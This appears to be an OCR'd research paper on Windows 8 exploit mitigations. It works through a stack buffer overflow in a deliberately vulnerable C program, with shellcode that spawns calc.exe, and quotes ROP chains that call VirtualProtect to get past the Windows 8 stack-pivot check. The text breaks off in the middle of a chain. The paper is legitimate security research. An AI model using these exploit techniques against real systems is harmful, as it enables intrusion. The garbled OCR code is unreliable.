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1 Abstract 



Since Windows Vista, many security features have been added to Windows [1], these got even 
better with version 7 of the OS [2]. The upcoming Windows 8 brings better security in the 
user interaction (less intrusive messages) and also under the hood. 

In this paper security features and aspects of Windows 8 will be shown, analyzing an overflow 
exploit in a test-bed environment to show how it works and updating precedent works [3] find- 
ings. The last part consist in the analysis of a "new" and powerful programming technique 
-return oriented programming- and how it is able impact on the exploitation of bugs under 
windows 8 effectively getting around current buffer overflow countermeasures. 
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2 Windows 8 security 



Starting from Windows XP Service Pack 3 -which included ASLR- a lot of work around the 
security of windows systems has been done. Windows 8 developers paid much attention in 
securing windows starting from the design of the OS through use of the SDL process (Security 
Development Lifecycle [4]). 

This process includes 7 phases: 

1. Training 

2. Requirements 

3. Design 

4. Implementation 

5. Verification 

6. Release 

7. Response 

A point in favor of Windows security, as we all know: " Security is a process not a product" [5] 
Some important elements from these phases can be highlighted [6]: 

1. Security training: All personnel involved in the development is trained to security concepts 
and secure coding. 

2. Threat modeling and security design reviews: Threat landscapes are explored to get an 
idea of what are possible attack surfaces and scenarios, this analysis is included into the 
design of the software. 

3. Writing secure code: Developers are trained to write secure code, and code auditing is 
carried on to prevent common coding errors from being committed. 

4. Penetration testing: Security engineers take an attacker's perspective when reviewing a 
completed set of features that make up a scenario. 

5. Security code reviews: Highly sensitive components are reviewed by security engineers. 

6. Security tools: Security tools are used to test software and always gets updated to the 
state-of-the-art solutions in finding and exploiting software to provide a scalable solution 
to test and improve the code. 

2.1 Exploit mitigation 

Some security features of Windows 8 that can mitigate successful exploitation can be schema- 
tized as follows [6]: 
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• ASLR: "Address Space Layout Randomization" is a mitigation for " return-to-lib c" at- 
tacks, this kind of attack overwrites the content of the stack with the return address to a 
known function and its arguments, giving an attacker freedom to call existing functions 
without actually injecting code. This mitigation moves the base address of the shared 
library (or even sections of the executable) around the memory, this way the entry point 
of the function to be called is not easily predictable [7]. In Windows 8 enhancement to 
the ASLR technique are implemented such as an increased randomization 

• Kernel protection: In Windows 8 exploit mitigation techniques are implemented also 
in kernel level. User-mode processes cannot allocate memory in the lower 64K which 
prevents a class of kernel-mode NULL dereference vulnerabilities from being exploited 
(with privilege escalation moreover). Integrity checks are added to the kernel pool memory 
allocator in order to mitigate kernel pool corruption attacks (to understand how pool 
corruption attacks works refer to [8]). 

• Heap protection: Applications can request to get a slice of memory allocated from the 
Windows user-mode heap, an "entity" which efficiently manages memory and address 
space of a process and permits to allocate blocks of memory and referring to them using 
handles and pointer [9] . Managing dynamic memory if not done correctly can pose sig- 
nificant security risks, including but not limited to buffer overflows [10], double-free [11] 
and null-pointer dereference [12]. The heap in Windows 8 has been redesigned the salient 
points are: 

— integrity checks have been added (in particular a check on the value of the stack 
pointer as we will see later) 

— order of allocation is randomized, this way an attacker cannot reliably predict the 
placement of a certain object in the heap (same principle as ASLR) 

— guard pages for some types of heap allocation 

• Internet Explorer protection: Guards where implemented to avoid fake virtual function 
table to be crafted making succesfull exploitation of "use-after- free" vulnerabilities harder 
to obtain (use-after-free accounted for 75% of the vulnerabilities reported in IE in the 
last two years [6], this should give an idea on the importance of this mitigation). Internet 
Explorer is also compiled to take full advantage of ASLR. 

• Windows Defender: this tool has been improved to extend protection from all types of 
malware taking advantage of the signatures delivered by the Microsoft Malware Protec- 
tion Center which is a team in Microsoft which delivers malware research, response and 
protection capabilities to Microsoft's customers [13]. It uses a file system filter driver, of- 
fering better protection and a better chance to discover rootkits (user and -maybe- kernel 
level), since the file system driver is called on every FS I/O operation [14]. 

When using Windows 8 on PCs that support UEFI Secure Boot, firmware /firmware up- 
dates and windows path up to the windows defender path are protected against tampering 
permitting to load only properly signed and validated code. During our test we copied 
an exploit page on a Windows 8 virtual machine that triggered the response of Windows 
Defender which put the file in quarantine as shown in Fig. 1. 

• Smart Screen: the Smart Screen filter has been extended from Internet Explorer to the 
Windows shell: executables that have established a "good reputation" will be executed 
without showing notifications by SmartScreen as the one in Fig. 2. In Windows 7 when 
launching downloaded applications -by default- a notification is always shown, in the 
long term users tend to dismiss this warning message without giving it any importance. 
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In Windows 8 the new Smart Screen warning will seldom appear, giving users a better 
perceptiong of how dangerous executing an untrusted executable can be. 




PC status: Protected 




View the items Windows Defender detected as potentially harmful and t 

* ^uarantined jtems 

Items that were prevented from running but not removed from your PC. 
O Allowed items 

Items that you've allowed to run on your PC. 
O All detected items 

Items that were detected on your PC. 



Malware Detected 

Windows Defender is taking action to clean 

Windows Defe detected malware 



Malware Detected 

Windows Defender is taking action to clean 
detected malware 



Detected item 

□ © ExploifcJS/ShellCode.g en 



Alert level 
Severe 



Date 

12/09/2012 16.33 



Action taken 
Quarantined 



Items: 

fileiCAUserADavideVDeskt^ 

Get more infcrmaticn about this item online, 



■ Remove all 



®Rema 



£ Restore 



Figure 1: Quarantined item, JS/ShellCode.gen 



Windows protected your PC 



Prcgrtm *wv4to.e>t 



ftlAnywy | [ Don't Run 



Figure 2: Smart screen protection 



2.1.1 UEFI Secure Boot 

Windows 8 provides support for Secure Boot which is nothing more than a protocol included 
in the UEFI specification intended to provide access to authentication information associated 
with specific device paths. [15] [16]. UEFI executables (bootloader and drivers) are signed and 
verified using an asymmetric key encryption algorithm which scheme can be seen in Fig. 3 for 
the creation of a signature and in Fig. 4 for the verification of the signature [16]: as long as 
the private key is kept secure the executable can be considered "trusted" this means it's hardly 
possible that it could have been tampered. 
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2.2 New security features 



Since [6] is a document oriented towards the average user: some security features of windows 
haven't been explained in depth or even pointed out, these have been reverse-engineered by 
several researchers on the preview of Windows 8. This section will glance at some of the most 
interesting for our topic (these and the others aspects we just introduced are covered in [19]). 

2.2.1 RDRAND, Intel Secure Key technology in Windows 8 

Intel Secure Key is the technology developed by Intel (RDRAND instruction and DRGN ran- 
dom number generator hardware) to provide high quality (meaning statistical independence, 
uniform distribution, unpredictability) and high performance ( 70 million RDRAND invocations 
per second and 5*10e8+ bytes of random data per second [18]) entropy and random-number 
generation. It has been introduced recently (as of the time of writing this paper) in 3rd Gen- 
eration Core (Ivy Bridge) processors) [17]. 

Random number generators are tools that generate a sequence of numbers that should follow 
as much as possible the rules we already stated: statistical independence, overall uniform 
distribution and unpredictability. 

There are different classes of random number generators: 

• TRNG: true random number generators extracts entropy from a physical source and uses 
it to extract random numbers. Non-deterministic, but usually it's difficult for these to be 
able to generate a large quantity of random numbers since sampling the external source 
of entropy will cause a non-negligible delay. 

• PRNG: pseudo-random number generators uses mathematical modeling (i.e. the Mersenne 
twister) to obtain the desired properties and needs a seed to be feed to the mathematical 
function. Given the seed the behaviour is fully predictable and deterministic. 

• Cascade Construction RNG: gets data from an entropy source and stores it in a pool 
that is used to feed a CSPRNG (cryptographically secure PRNG). 

The Digital Random Number Generator (DRNG) developed by Intel is a Cascade Construction 
Pseudo-Random Number Generator which takes the thermal noise in the processor as a non- 
deterministic entropy source and passes them to a hardware conditioner based on AES-CBC- 
MAC that outputs high quality random seeds continuously feeding a DRBG (deterministic 
random bit generator). 

Thanks to the work done by jOOru [20] we know that before Windows 8 the system clock was 
used to generate security cookie and ASLR base addresses. Depending on module loading time 
security cookies can be predicted with a fairly high success rate (46%). 

Under Windows 8 we work in a different scenario: 6 different functions gathers -at boot time- 
entropy, which is used to generate the seed for the ExGenRandom function: a pseudo random 
number generator function based on the lagged Fibonacci generator [21] [22]: 

• OslpGatherSeedFileEntropy 

• OslpGatherExternalEntropy 

• OslpGatherTpmEntropy 
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• OslpGatherTimeEntropy 

• OslpGatherAcpiOemOEntropy 

• OslpGatherRdrandEntropy 

This new mechanism of course restrict the possibility of correctly predicting security cookies 
content or ASLR relocation addresses. 

2.2.2 Buffer overrun protection (ROP mitigation) 

Windows internals expert Alex Ionescu shared in a twitter post a piece of code obtained by 
means of decompilation using Hex-Rays decompiler [24] demonstrating the new mechanism 
present in all the VirtualMemory functions that should protect from buffer overruns: 

char __cdecl PsValidateUserStack () 
{ 

char Status; // al@l 

_KTRAP_FRAME *TrapFrame; // ecx@3 

_TEB *Teb; // ecx@3 

void *.Eip; // [sp+lOh] [bp -88h] @3 
unsigned int . Esp ; // [sp+l^-h] [bp-8^.h]@3 
void *StackLimit; // [sp+18h] [bp -80h] @3 
void *StackBase; // [sp+lCh] [bp -7Ch] @3 
_EXCEPTION_RECORD ExitStatus ; // [sp+24h] [bp -74h] @6 
CPPEH_RECORD ms_exc ; // [sp+80h] [bp-18h]@3 

currentthread = ( _ETHREAD *) __readf sdword (0xl24u) ; 
Status = 

LOBYTE (Cur rent Thread ->Tcb . u42 .UserAffinity.Reserved[0]); 

// // Prev i ousMo de == User 

if ( Status ) 

{ 

__asm { bt dword ptr [edx+58h] , 13h } 

// // KernelStackResident , Ready Trans i t i on , Alertable 

Status = _CF; 

if ( _CF != 1 ) 

{ 

TrapFrame = CurrentThread ->Tcb . TrapFrame ; 

.Esp = TrapFrame ->HardwareEsp ; 

. Eip = (void *) TrapFrame ->Eip ; 

Teb = (_TEB *) CurrentThread ->Tcb . Teb ; 

ms_exc . disabled = 0; 

StackLimit = Teb ->DeallocationStack ; 
StackBase = Teb->NtTib . StackBase ; 
ms_exc . disabled = -2; 
Status = . Esp ; 

if ( .Esp < (unsigned int ) StackLimit | | 

.Esp >= (unsigned int ) StackBase ) 

{ 

memset (feExitStatus , 0, 0x50u); 
ExitStatus . Except ionCode = 
ST ATUS_ ST ACK_BUFFER_ OVERRUN ; 
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ExitStatus . ExceptionAddress = . Eip ; 

ExitStatus . NumberParameters = 2; 

ExitStatus . Exceptionlnf ormation [0] = 4; 

ExitStatus . Exceptionlnf ormation [1] = . Esp ; 

Status = DbgkForwardExcept ion (feExitStatus , 1, 1); 

if ( ! Status ) 

{ 

Status = DbgkForwardExcept ion (feExitStatus , 0, 1); 
if ( ! Status ) 

Status = ZwTerminat eProcess (( HANDLE )0xFFFFFFFF , 

ExitStatus . ExceptionCode) ; 

} 

} 

> 

} 

return Status ; 

} 

Basically this function first checks if the calling thread is in user mode looking at the TEB 

(Thread Environment Block, containing information about the thread context). 

If the stack pointer is not valid (i.e. outside the stack limit and base values) it generates 

a second chance exception through the kernel user-mode debugging support (the third value 

passed to DbgkForwardException is 1) and tries to forwards it to two debug and exception 

ports. 

If the exception is not handled correctly it kills the process using ZwTerminateProcess using 
as exception code STATUS_STACK_BUFFER_OVERRUN (refer to ReactOS source [25] and 
Ionescu's User Mode Debugging Internals [26] for more information). 

2.2.3 Security Assertions 

Reverse engineering Windows 8 list insertion mechanism on a LIST_ENTRY structure, A. 
Ionescu found a new mechanism in Windows 8 called "Security Assertions" [27]: 

if ( ListEntry ->Flink->Blink != ListEntry I I 
Blink->Flink != ListEntry ) 

{ 

__asm{int 29h } // Note that the "push 3" is lost 

} 

Dumping the IDT (interrupt descriptor table) shows that INT 29h corresponds to nothing more 
than a ntoskrnl function called KiRaiseSecurityCheckFailure, which corresponds to a kind of 
assertion mechanism that will generate a BSOD. It will perhaps tell the user more indications 
about the reason for the induced crash that will help him understand it actually is a security 
failure more than an exotic bug coming up. 
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3 Hands on 



3.1 Setup testbed environment 

Our testbed environment consists of a Windows 8 release preview (x86) OS image running 
under a virtual machine (VirtualBox) in a Windows 7 (x64) host system. 

The Windows 8 version is the following: 

Microsoft Windows [Version 6.2.8400] 

On the host system I have installed Visual Studio 2012 as development environment of choice 
(which brings the new SDL switch we'll talk about later that wasn't present in Visual Studio 
2010): 

Microsoft Visual Studio Premium 2012 
Version 11.0.50727.1 RTMREL 

What matters the most is the C compiler, the MASM assembler, and linker which versions are 
the following: 

»cl 

Microsoft (R) C/Gf+ Optimizing Compiler Version 17.00.50727.1 for x86 
»ml 

Microsoft (R) Macro Assembler Version 11.00.50727.1 
»link 

Microsoft (R) Incremental Linker Version 11.00.50727.1 

To analyze program flow we have lots of tools to choose from, our selection is: Immunity 
Debugger [28] (based on OllyDbg [29]) which is a powerful debugger that integrates a python 
scripting system, and IDA Interactive Disassembler [30] to disassemble the executables. 

3.2 Writing an exploit under windows 

We're not going to repeat all the concepts already explained in the paper by M. Graziano and 
A. Cugliari [3], so this will just be a quick reference on how NOT-to-write a secure piece of 
code. 

Working in a different environment from the one used in [3] if we want to follow the same 
approach we have to account for the fact that we won't find any reliable jump instruction 
(call esp) as all the loaded modules except our vulnerable application will have all the security 
features enabled as we can see by running the mona [31] PyCommand script in Immunity 
debugger (Fig. 5). 

We will work at first in the worst case scenario: an executable compiled with all security features 
and checks disabled that loads a module (dll) holding the same setup. 

First of all let's create a dll called " vulnerabledll" that will just contain a fake function showing 
off a "call esp" instruction, this will be needed later in the exploiting. 

#include "stdafx.h" 
void f akef unct ion ( ) { 
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Module info 



Base 


Top 


Size 


Rebase 


SafeSEH 


ASLR 


NXCompat 


OS Dll 


Version, Modulename & P; 


0x0f290000 


0x0f42b000 


0x0019b000 


True 


True 


True 


True 


True 


11.00. 50727. lbui"ltby:RTP 


0x10000000 


OxlOOlbOOO 


OxOOOlbOOO 


False 


False 


False 


False 


False 


-1.0- [vulnerabledll.dl" 


0x765f0000 


0x76636000 


0x00046000 


True 


True 


True 


True 


True 


6.1.7600.16385 [KERNELB> 


0x76640000 


0x76750000 


0x00110000 


True 


True 


True 


True 


True 


6.1.7600.16385 [kernels; 


0x77180000 


0x77300000 


0x00180000 


True 


True 


True 


True 


True 


6.1.7600.16385 [ntdll.d" 


0x00400000 


0x00419000 


0x00019000 


False 


False 


False 


False 


False 


-1.0- [ConsoleApplicati ( 



Figure 5: Loaded modules, mona's log 



_asm{ 

call esp 

} 

} 

Then we have to develop our vulnerable application, we will use the application developed by 
M. Graziano and A. Cugliari [3] which contains a buffer overflow vulnerability triggered by a 
strcpy modifying it to load the library we just created, this is needed because we couldn't run 
a successful exploit without recurring to other techniques like spraying the heap (should the 
application allow it allocating memory using a VirtualMemory function) to jump to a possible 
location (referencing directly the position of our shellcode wouldn't be good because it would 
be immediately defeated by enabling ash). 

#pragma runt ime.checks ( "scu", off ) 
#define _CRT_SECURE_N0_WARNINGS 

#include <stdio.h> 
#include <string.h> 
#include <Windows.h> 

int main(int argc , char **argv) 
{ 

LoadLibraryA("vulnerabledll .dll") ; 

HM0DULE vulndll = GetModuleHandleA ( " vulnerabledll " ) ; 

char buf [10] ; 

char shellcode [ ] = 

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 " 

"\x41\x41\x41\x41\x41 " 

//16 chars (Xx^l = A) to reach EIP 

"\xbe\xl3\x01\xl0" 

// overwrite EIP with a call esp 

"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC" 

"\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63" ; 

// 19 bytes of shellcode to execute calc.exe 

// [http ://sebug . net / exploit / 18971/] 

strcpy(buf , shellcode); 

FreeLibrary ( vulndll ) ; 
return 0; 
} 

Adapting the vulnerable application is simple, we need to tell the compiler that we want 
to use the deprecated function strcpy by defining _CRT_SECURE_NO_WARNINGS otherwise 
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the application won't compile correctly (if SDL checks are enabled), load the vulnerabledll.dll 
module, adapt the junk code composed by "A" chars, and modify the address where the "call 
esp" could be found. 

Compiling a first version without using metasploit tools we can quickly see in the Immunity 
Debugger CPU window in Fig. 6 that we need 16 bytes of padding to get the correct value in 
esp as after EBP gets popped we want to have our RET address corresponding to the one of 
the CALL ESP instruction. 



[c]cpu 


- main thread, module ConsoleA 






EE 


PUSH EBP 




00411261 


8BEC 


MOU EBP, ESP 




00411263 


81 EC 8C000000 


SUB ESP, 8C 




00411269 


S3 


PUSH EBX 




0041126A 


c .i 


PUSH ESI 




0041126B 


E7 


PUSH EDI 




0041126C 


68 58484108 


PUSH OFFS JCiHGi ASCII "UN Inerab led 1 1 . 


00411271 


FF15 4C714100 


CALL DWORD PTR DS: [<&KERMEL32. LoadL Lbra: 


kerne- L32. LoadL LbraryP. 


00411277 


B9 0F000B0B 


MOU ECX.0F 


0041127C 


BE 70484100 


MOU ESI, OFFSET ConsoleA.?? CIS 0DO8NMBCKI 




B84112S1 


8D7D B4 


LEA EDI , DWORD PTR SS:[EBP-4C] 




00411234 


F3:A5 


REP MOUS DWORD PTR ES: 1 EDI 1 , DWORD PTR D: 




00411236 


66:A5 


MOUS WORD PTR ES: [EDI I , WORD PTR DS: [ESI 




00411233 


8D45 B4 


LEA EAX, DWORD PTR SS: [EBP-4C] 




0041128E 


E0 


PUSH EAX 




0041128C 


8D4D F4 


LEA ECX, DWORD PTR SS:[EBP-C] 




0041128F 


El 


PUSH ECX 




00411293 


E8 D4FDFFFF 


CALL ConsoleA. 0041 1069 




00411295 


83C4 08 


ADD ESP, 8 




00411293 


33C0 


ea: 




0041129A 


EF 


POP EDI 




0041129B 


EE 


POP ESI 




0041129C 


EE 


POP EBX 




004 11 290 




MOU ESP, EBP 




0041129F 


ED 


POP EBP 






C3 


RETH 




0041 12A1 


CC 


IMT3 




084112A2 


CC 


IMT3 




004112A3 


CC 


IMT3 




004112A4 




IMT3 




004112A5 


CC 


IMT3 




004112A6 


CC 


N = 




004112A7 


CC 


IMT3 




004112A8 


CC 


IMT3 




004112A9 


CC 


IMT3 




004112AA 


CC 


IMT3 




004112AB 




[-i ■ : 




004112AC 








004112AD 




IMT3 




004112AE 


CC 


IMT3 




004112AF 


CC 


IMT3 




00411230 




IMT3 




0041 12B1 


CC 


IMT3 




004112B2 


FF25 4C714100 


JMP DWORD PTR DS: K&KERNEL32. LoadL Lbrar 1 


kerne 132. LoadL Lbraryfl 


00411238 


FF25 10724100 


DWORD PTR DS: [<&MSUCR1 1DD. strcpy >] 


MSUCRlie.str-cpy 


004112BE 


CC 


IMT3 




004112BF 


CC 


IMT3 




004112C0 


EE 


PUSH EBP 




0041 12C1 


8EEC 


MOU EBP, ESP 




004112C3 


E8 F803008B 


CALL Conso LeA. check nanaged_app 




004112C8 




MOU DWORD PTR DS: [nanagedapp] , EAX 




004112CD 


6A 01 


PUSH 1 




004112CF 


FF15 00724100 


DWORD PTR DS: [<&MSUCR1 10D. set api 


MSUCR110. set_app_ty 


004112D5 


83C4 04 


ADD ESP, 4 




004112D8 


6A FF 


PUSH -1 




004112DA 


FF15 68714100 


DWORD PTR DS: [<&KERMEL32. EncodePo Li ntd I L . Rt LEncodePo Lnte 


004112E0 


A3 24654108 


MOU DWORD PTR DS: [ oneK [tend] , EAX 




004112E5 


Al 24654100 


MOU EAX, DWORD PTR DS: [ onex [tend] 




004112EA 


A3 34654100 


MOU DWORD PTR DS: [ onex Ltbeg in ] , EAX 




004112EF 


8B0D BC714100 


ECX, DWORD PTR DS: [<&MSUCR1 10D. fnod. 


MSUCR110._fNode 


004112FS 


8B15 4C61418B 


MOU EDX, DWORD PTR DS: [ friode] 




004112FB 


8911 


DWORD PTR DS: [ECX] , EDX 




004112FD 


Al C0714100 


EAX. DWORD PTR DS: K&MSUCR1 10D. conn. 




00411302 


8B0D 40614100 


MOU ECX, DWORD PTR DS: [ commode: 




00411308 


8908 


MOU DWORD PTR DS: [EAX], ECX 





Return to 41414141 



Address | Hen durcp 


| D Lsassenb Ly 


| Com 


00416000 


0100 


ADD DWORD PTR DS: [EAX], EAX 




00416002 




ADD BVTE PTR DS:[EAX1,AL 




00416004 


FE 


??? 


Unki 


0041680S 


FFFF 


??? 


Unkr 


00416807 


FFFF 


??? 


Unkr 


00416009 


FFFF 




Unki 


0041600B 


FFD0 


CALL EAX 




0041600D 


AO 43F92F5F 


MOU AL, BVTE PTR DS: [5F2FF943] 




00416012 


BC 06000000 


MOU ESP, 6 




00416817 


0888 


ADD BVTE PTR DS:[EAX],AL 




00416819 




ADD BVTE PTR DS:[EAX],AL 




0041631B 




ADD BVTE PTR DS:[EAX1,AL 




0041601D 




ADD BVTE PTR DS:[EAX1,AL 




0041601F 




ADD BVTE PTR DS:[EAX1,AL 




00416821 




ADD BVTE PTR DS: [EAXH.AL 




00416823 




ADD BVTE PTR DS:[EAX],AL 




00416025 




ADD BVTE PTR DS:[EAX1,AL 




00416027 




ADD BVTE PTR DS:[EAX1,AL 




00416029 




ADD BVTE PTR DS:[EAX1,AL 




0041602B 


0000 


ADD BVTE PTR DS:[EAX],AL 






Figure 6: Wrong EIP, execution cannot be continued 
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Having adjusted this we didn't think that the "calc shellcode" used relies on calculating the 
address of the function based on a fixed addresses. This won't work as shown by Fig. 7. 



Don't know how to continue because memory at address 
77BF93C7 is not readable. Try to change EIP or pass exception to 
program. 



OK 



Figure 7: Getting correct number of bytes for padding 



We found a reliable alternative in the win-exec-calc-shellcode [32], then we need to adjust again 
out payload that will need a padding of 20 bytes and insert the new shellcode. Finally we can 
spawn calc.exe using the shellcode on our vulnerable application as shown in Fig. 8. 
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Figure 8: Successfully spawning calc process 

Updated shellcode: 

char shellcode [ ] = 

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 " 

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 " 

//16 chars (\xJ^l = A) to reach EIP 

"\xbe\xl3\x01\xl0" 

// overwrite EIP with a call esp 

"\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63" 

"\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72" 

"\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30" 

"\x8B\x7E\xl8\x8B\x5F\x3C\x8B\x5C\xlF\x78 " 

"\x8B\x74\xlF\x20\x01\xFE\x8B\x4C\xlF\x24" 

"\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E" 

"\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74" 

"\xlF\xlC\x01\xFE\x03\x3C\x96\xFF\xD7\xCC" ; 
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3.3 Smashing the stack: tests 



We have demonstrated that having a reliable exploit is possible if the appropriate security 
checks are not in place. 

Our results, differing from the ones presented in M. Graziano and A. Cugliari paper, can be 
explained because EIP don't get changed to an unknown location, EIP address can be in- 
cremented in a relative way getting the return address and adding an offset (thus we cannot 
incriminate ASLR for a possible crash), this is completely legal. We aren't jumping either to 
some code in a page marked as data/non-execute so this could not provoke crashes (DEP is 
not ascribable to the crash): the content of ESP is still perfectly legal (RTC checks shouldn't 
complain or at most should throw an exception). 

Updating the precedent work we will test example3.c from AlephOne's paper [35] under Win- 
dows 8 with the new compiler suite and compare the results. 

First of all we have to consider that a new switch has been added to Visual Studio 11: the /sdl 
switch corresponding to the Secure Development Lifecycle which includes features of /GS and 
other recommendations enabling the compiler to assist secure software development ([33]). 

3.3.1 The SDL switch 

The main characteristics of this new switch are that it provides a central mechanism to en- 
able additional security support enabling code generation features like strinct_gs_check ([34]) 
(increasing the scope of buffer overrun protection), initialization or sanitization of pointers in 
well-defined scenarios and compiler warnings and recommendations when there are pointers not 
correctly initialized or sanitized. Mandatory SDL warning are going to be treated as errors. 
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Configuration: Active(Debug] 



Platform: Active(Win32) 



Configuration Manager.. 



[> Common Properties 






Additional Include Directories 


a Configuration Properties 






Additional fusing Directories 


General 






Debug Info rm ati on Format Pro gra m Data base for Edit And Continue [J f I j 


Debugging 






Common Language RunTime Support 


VC++ Directories 






Enable Windows Run Time Extensions 


, C/C+ + 






Suppress Startup Banner Yes (/nologo) 


General 
Optimization 
Preprocessor 
Code Generation 
Language 






Warning Level Level3 £/W3) 

Treat Warnings As Errors Ho [/WX-] 












Multi-processor Compilation 








Precompiled Heade 








Output Files 








B ro wse Info rm ati o r 








Advanced 








All Options 








Command Line 








[> Linker 








\> Manifest Tool 








[> Librarian 








> Resources 








l> MIDL 








[> XML Document Genera 
.■ Browse Information 












SDL checks 


[> Build Events 






Additional Security Development Lifecycle (SDL} recommended checks; includes enabling additional secure code 








generation features and enables extra security- relevant warnings as errors, The default is disabled, (/sdl, /sdl-) 


4 |_ rrr ► 







Cancel 



Apply 



Figure 9: Enabling the sdl switch 



3.3.2 Running the tests 

The tests are executed on the following code, using /SDL switch instead of /GS since it super- 
sedes it: 

#include <stdio.h> 
void stampa( int num ) 
{ 

char buf 1 [5] = {1,2,4,5,6}; 

char buf 2 [10] = {1,2,3,4,5,6,7,8,9,0}; 

int * ret ; 

long reg , addr_ebp ; 

_asm 

{ 

mov reg , ebp 

}; 

printf ( " ebp : u 0x°/„x\n " , reg ); 
ret = (int*) (reg + 0x04); 

(*ret) += OxlC; //modified, changes depending 

//on the code generated 

} 



int main( void ) 
{ 

printf ( " lst u print\n" ); 
st amp a ( 1 ) ; 
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printf ( " 2nd u pr int \n " ); // to skip 
printf ( " 3rd u pr int \n " ); // to skip 
printf ( " last u print\n" ); 
return 0; 
} 



Protection 


Tl 


T2 


T3 


T4 


T5 


T6 


T7 


T8 


T9 


T10 


/SDL 


V 


V 


X 


X 


X 


V 


X 


X 


X 


V 


/RTC 


X 


V 


V 


V 


X 


X 


X 


V 


V 


V 


ASLR 


X 


X 


V 


X 


V 


V 


X 


X 


V 


V 


DEP 


X 


X 


X 


X 


X 


X 


V 


V 


V 


V 


Results 


OK 


CRASH 


// 


// 


// 


// 


// 


// 


// 


CRASH 



Table 1: Experimental results. 

We didn't run all the tests: with test T2 we already encountered an incongruity and decided to 
investigate further. The difference in T2 can be explained because in runtime checks a function 
called _RTC_CheckEsp gets interleaved between our functions, this will force us add 9 bytes to 
the offset Oxlc, the same used for the last crash. 

3.3.3 Results and considerations 

Actually some significant -and easily predictable- results can be obtained on the exploit ex- 
ample. First of all SDL is a great enhancement because it follows the concept of a proactive 
security where specific problematics are addressed and brought to developers attention. In the 
second place we can see that by enabling /SDL we have to disable warnings because strcpy 
is used. Together with /GS cookies this measures make it impossible for the exploit to work 
(since it's messing up the stack). ASLR don't poses problems as long as it is not enabled on 
the vulnerabledll.dll, RTC didn't pose any problem too on this example while DEP prevents 
the exploit from achieving its objectives. 

Results can be schematized as follows: 



Feature Enabled 


RTC 


SDL/GS 


ASLR 


DEP 


Results 


OK 


CRASH 


OK 


CRASH 



Table 2: Experimental results on exploit. 
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4 Exploiting techniques: return oriented programming 



4.1 What's ROP? 



ROP or Return-oriented programming is an exploiting technique in which the attacker manip- 
ulates the call stack in order to execute pieces of existing program code, most likely a group of 
instructions immediately prior to the RET instruction present in subroutines [36]. 

ROP is needed to successfully execute code in the scenario of non executable memory segments 
i.e. DEP and code signing. 

De facto, return-into-libc technique is just the basis upon which the ROP approach has been de- 
veloped, since in return-into-libc attack the stack is typically manipulated to execute a function 
into the chosen library (typical scenario system() in libc library [37]). 

Starting with the introduction of 64bit CPUs traditional exploits stopped working due to 
the fact that arguments aren't passed anymore through the stack but in registers and non- 
executable memory segments started to be supported in-hardware. 

A new approach was then developed, using chunks of library functions instead of a call to the 
function itself: the idea is to find pieces of code called "gadgets" that pops the values from the 
stack into the right registers. The ROP approach is even more generic with a wider approach, 
introducing loops and conditional branches [38] [39]. 

As noted by [40] the most common scenario under windows is to use the first gadgets of the 
exploit to call VirtualProtect or VirtualAlloc which will allow to create a writable and executable 
memory segment. This kind of vulnerability is often associated with techniques apt to position 
the payload in the heap (i.e. heapspray) in a defined position, later modifying the stack pointer 
to head to the heap. 

In this scenario the mitigation introduced in windows 8 which we already analyzed in 2.2.2 
won't allow the execution of VirtualMemory functions since the stack would point into the 
heap, outside the stack segment defined by the TEB. 

4.2 Windows 8 mitigation defeating with ROP chain 

Actually ROP is one of the few techniques still reliable to exploit vulnerabilities under up-to- 
date operating systems and software which follow the approaches that characterize the state- 
of-art in protection. 

The mitigation analyzed in 2.2.2 will not bother any dedicated attacker as it is bypassable. Dan 
Rosenberg [40] showed it can be possible without much effort: starting from a VLC vulnerability 
a simple ROP payload like this is created: 



meaning that esp will point to the heap where we have the ROP stage waiting to be executed: 
rop = [ 



xchg esi , esp 
retn 



rop_base + 0x1022 



# retn 



# Call VirtualProtect () 



rop_base + 0x2c283 , 
rop_base + 0xl212a4 , 
rop_base + 0xl2f da , 



# pop eax; retn 

# IAT entry VirtualProtect ->eax 

# mov eax, DWORD PTR [eax] 
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rop_base + 0x29dl3 , 



# jmp eax 



rop_base + 0x1022 , 
heap & "Oxfff , 
0x60000 , 
0x40 , 

heap - 0x1000 , 



# retn 

# lpAddress 

# dwSize 

# flNewProtect 

# lpf OldProtect 



# Enough of this ROP business. . . 

rop_base + 0xdace8 # push esp; retn 

] 

This ROP stage just calls VirtualProtect to modify the heap page properties selecting 
PAGE_EXECUTE_READWRITE (0x40) as memory-protection option [41] [42] and won't work 
under windows 8 because the stack would point to the heap at the time of calling VirtualProtect. 
lit has to be modified to be succesfully run under windows8: esi will contain the stack pointer 
and every time a dword is popped into eax it gets written into the stack location and esi 
gets decremented accordingly (the author didn't find any better ROP gadget to decrement esi 
differently [40]). 

rop = [ 

rop_base + 0x1022 , # retn 



# Write lpf OldProtect 
rop_base + 0x2c283 , 
heap - 0x1000 , 
rop_base + 0xldb4f , 
rop_base + 0x3ab5e , 
rop_base + 0x3ab5e , 
rop_base + 0x3ab5e , 
rop_base + 0x3ab5e , 



# 


pop eax; retn 




# 


lpf OldProtect 


-> eax 


# 


mov [esi] , eax; 


retn 


# 


dec esi ; retn 




# 


dec esi ; retn 




# 


dec esi ; retn 




# 


dec esi ; retn 





# Write flNewProtect 



rop_base 


+ 


0x2c283 , 


# 


pop eax; retn 


0x40 , 






# 


flNewProtect -> eax 


rop_base 


+ 


0xldb4f , 


# 


mov [esi] , eax; retn 


rop_base 


+ 


0x3ab5e , 


# 


dec esi ; retn 


rop_base 


+ 


0x3ab5e , 


# 


dec esi ; retn 


rop_base 


+ 


0x3ab5e , 


# 


dec esi ; retn 


rop_base 


+ 


0x3ab5e , 


# 


dec esi ; retn 



# Write dwSize 



rop_base 


+ 


0x2c283 , 


# 


pop 


eax ; 


retn 


0x60000 , 






# 


dwS 


ize -> 


eax 


rop_base 


+ 


0xldb4f , 


# 


mov 


[esi] 


, eax; 


rop_base 


+ 


0x3ab5e , 


# 


dec 


esi; 


